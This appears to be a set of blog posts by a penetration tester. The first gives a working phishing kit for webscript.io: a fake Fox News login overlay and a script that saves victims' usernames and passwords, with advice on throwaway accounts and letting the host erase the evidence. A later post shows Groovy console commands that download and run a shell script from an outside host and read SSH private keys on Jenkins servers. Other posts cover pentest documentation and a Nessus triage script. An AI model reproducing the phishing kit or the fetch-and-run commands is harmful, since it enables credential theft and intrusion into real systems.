Phishing with Webscript.io

One of the guys on the Chugalug mailing list mentioned webscript.io on Saturday night and it immediately sounded interesting. The basic concept is you choose a webscript.io subdomain, write a few Lua scripts and you have a web service up and running. The web service can run under HTTP or HTTPS. One of the other guys on the list was equally impressed but wondered what would you do with it. My first thought was phishing. So, I reworked a phishing setup I did a while back and made it work for webscript.io.

I setup an account with webscript.io, you only need an email address to do this, and created two scripts.

foxnews.webscript.io/login

return [[

<!-- Add the background to give the popup effect -->
<div id="bg" style="background-color: #111111; opacity: 0.65; 
filter: alpha(opacity=65); position: absolute; z-index: 9000; 
top: 0px; left: 0px; width: 100%; height: 2000px;"></div>

<!-- Create the login box -->
<div id="login" style="padding: 16px; position: absolute; 
top: 40px; left: 40px; background-color: #eeeeee; width: 300px; 
z-index: 10000; text-align: left; border: 2px solid #000000;">
<p>Login to the Fox News web site.</p>

<form action="http://foxnews.webscript.io/data" method="POST">
<table border="0" cellpadding="1" cellspacing="1">

<tr><td>Username: </td>
<td><input type="text" name="username" /></td></tr>
<tr><td>Password: </td>
<td><input type="password" name="password" /></td></tr>
<tr><td colspan="2">
<input type="submit" value="Login" /></td></tr>
</table>
</form>
</div>]], {["Content-Type"]="text/html"}

foxnews.webscript.io/data

storage[request.form.username] = request.form.password 
return 302, '', {
	Location ='http://www.foxnews.com'
}

The first script builds a page with a iframe and a "popup" login box. You can modify the HTML to use any target site that allows itself to be framed or you could use a screenshot of the target as a background. When the username and password are submitted webscript.io stores it for you and displays it on your management page when you log in.

One problem with using webscript.io is you can't choose your own domain name, but truthfully, phishing victims are not know for paying attention to details. You can also mitigate this problem by using HTTPS, because most users don't think past getting the green "secure" web site indicator.

One big benefit is that webscript.io automatically deletes your scripts after 7 days. So, you could setup an account with a throw-away email address, run your campaign, and walk away. Webscript.io will clean it all up for you. Also, looking through the examples it looks like you can send emails through them as well. It's a one stop phishing shop. :)

Documenting your Pentest

I had a friend ask me today, how I document my pentests. Truthfully, I suck at documenting my pentests and shamefully, I have never fully documented a pentest as in tracking every command executed, every tool used, every machine attacked, every packet sent. Mind you, most of my pentests have been for small companies that typically do not have an incident response team and if something bad happens, one of the two or three sysadmins asks if it was my fault and they believe me when I say no.

Unfortunately, this style of pentesting can lead to a big liability. If a system goes offline while you are testing then you will likely get blamed. What if you shut down access to a revenue generating web server or an assembly line? What if it costs the company thousands or tens of thousands of dollars to bring the system back online? Would you be able to prove that you did not take system down?

So, thinking about all this, I turned to the oracle of infosec information, Twitter, and Twitter did not disappoint. Below is a list of tools and ideas for documenting your pentest.

Network Level Documentation

Buy or build a network tap and use tcpdump or Wireshark/Tshark to capture all data coming to/from your machine(s).

Command Level Documentation

Use script to log all console output.
Use Metasploit's spool command to record all Metasploit activity.
Both Burp and ZAP record all session information. Save the session before closing down.

Report Level Documentation

Dradis Framework
MagicTree
KeepNote
Growly Notes

If you know of any other tools or methods for documenting a penetration test, please leave a comment and let me know. Also, thanks @Glesec, @crimondi, @g00bler, @IsaiahMc, and @etdsoft for your help.

I Started A New Job

In August of this year my career took an unexpected turn. I have been working the last few years to become a penetration tester. I earned my GPEN and OSCP certifications in the pursuit of that goal and I took a job with Sword & Shield so I could do penetration testing full time. My career as a pentester was humming along fine when out of nowhere I was offered a job doing API programming for Tenable Security. My first love has always been programming and throughout my career I have found my greatest satisfaction in programming. So, when this opportunity came along I was ecstatic. Although I was enthusiastic about the opportunity, I was also sad to leave behind penetration testing, which I now know is my second love.

I look forward to the new adventures that await me at Tenable Security but also plan to continue doing some penetration testing on the side to keep my skills. I am also hoping to do some vulnerability research and maybe even develop my first 0-day sometime in the next year. I'm not sure what will happen but tune in here and I will keep you posted.

One Groovy Pentest

Update:

The original post said that I had gained unauthenticated access to a Hudson server. In fact, I had gained access to a VMware Hyperic server using the default credentials of hqadmin/hqadmin. Hudson is probably vulnerable as well but I do not know. If you can confirm the problem exists in Hudson as well, let me know in the comments.

On penetration tests it is my habit to find web servers and see what I can access using either default credentials or in some cases no credentials. On my last two penetration tests I gained unauthenticated access to project management servers, one was Hudson and the other Jenkins. Both of these project management systems include a web-based console that allows you to execute Groovy code. After a little research, I found that Groovy allows you to run system commands using the syntax ["command", "arg1", "arg2"].execute(). The output of the command can be accessed using println.

With both servers I attempted to get a reverse shell by using the following commands:

["wget", "http://192.168.1.1/shell.py", "-O", "/tmp/shell.py"].execute()
["python", "/tmp/shell.py"].execute()

This did not work on either server. I then used pentestmonkey's list of reverse shell one liners to attempt to get a reverse shell working with ruby, bash, and perl. Again, nothing worked. Since I couldn't get a shell going, I decided to look around the server to see what data was available. I used the following commands:

# To list files
proc = ["ls", "-al", "/path/to/list"].execute()
println proc.in.text

# To cat a file
proc = ["cat", "/file/to/cat"].execute()
println proc.in.text

On the Jenkins server, I was able to access the .ssh folder of the jenkins user. This server contained private RSA keys, which I was able to feed into the Metasploit auxiliary module auxiliary/ssh/ssh_login_pubkey and gain access to three other servers.

If you are using a project management server such as Hudson or Jenkins ensure all unauthenticated access to the server is disabled. If you are a Penetration Tester, always check the web server running on the client's networks; you never know what you will find. You can use my low hanging fruit script to find active web servers.

Low Hanging Fruit

When I do internal penetration tests I often find the same easily exploitable vulnerabilities laying around the network. My personal favorites are MS08-067 (Yes, I still see it), Apache Tomcat default credentials, open network shares, and web management interfaces with default or no credentials. My typical workflow involves running a Nessus scan and then checking for these common vulnerabilities before moving on to other vulnerabilities identified by Nessus. I decided to write a Python script to automate this task for me. Lhf.py takes a single Nessus v2 XML file and prints a summary HTML file with all of the low hanging fruit found in the Nessus file. Currently, lhf.py checks for the following:

• User accounts available through Null Sessions
• MS08-067
• Open Windows Shares
• Open NFS Shares
• Anonymous FTP
• Default Apache Tomcat Credentials
• Default SNMP Community Strings
• Any Vulnerability with a Metasploit Exploit
• Web Servers

lhf.py is available on Github.